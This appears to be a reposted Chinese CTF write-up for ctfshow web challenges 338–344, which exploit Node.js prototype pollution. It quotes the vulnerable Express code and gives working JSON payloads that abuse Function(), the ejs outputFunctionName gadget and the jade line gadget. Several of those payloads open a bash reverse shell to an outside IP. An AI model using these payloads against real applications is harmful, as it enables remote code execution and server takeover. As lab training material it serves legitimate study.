ctfshow web入门 web338--web344
web338
原型链污染
comman.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
我们知道没有对象都有一个原生属性就是__proto__
然后我们利用这个来使用copy来实现属性的污染把,secret的ctfshow属性变为36dboy
POST:
{"__proto__":{"ctfshow":"36dboy"}}
然后发包就行
web339
原型链污染覆盖 query 实现命令执行
app.js:
var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');
var apiRouter = require('./routes/api');
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
res.render('api', { query: Function(query)(query)});
query属性并且想把这个属性变成函数然后再直接调用这个函数
我们利用这个来覆盖query进行RCE
Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}
然后使得api起反应,那么函数就会被调用了
由于是污染题,所以我靶机是开了差不多十来次,终于是拿到了
最后翻到了flag
web340
login.js变了
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
用我们发送的请求(req.body)
覆盖user.userinfo
的属性为真
而我们要污染到object
的话就要两层才能达到因为
userinfo
上层为user
,user
的上层为object
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}}
发包然后触发即可
web341
ejs 原型链污染 RCE
源码和340没有变,但是没有api的函数触发了
首先一样的双层污染
用snyk测一下先发现有ejs的
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"');var __tmp2"}}}
这里的前面的 _tmp1; 和后面的 var __tmp2 不能删,是为了闭合代码。
污染之后没有反应,随便访问一个页面,反弹成功
根目录下面找到flag
web342–web343
jade 原型链污染 rce
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"');//"}}}
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}}
这里有些师傅反弹不到,可能是一个细节res接受JSON
而在是在login发包,你如果原地发会报错
web344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
过滤了8c 2c ,
var query = JSON.parse(req.query.query);
定义了一个js对象,访问其参数值
直接传就行了
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
考虑一下绕过
原文地址:https://blog.csdn.net/2301_81040377/article/details/140230560
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!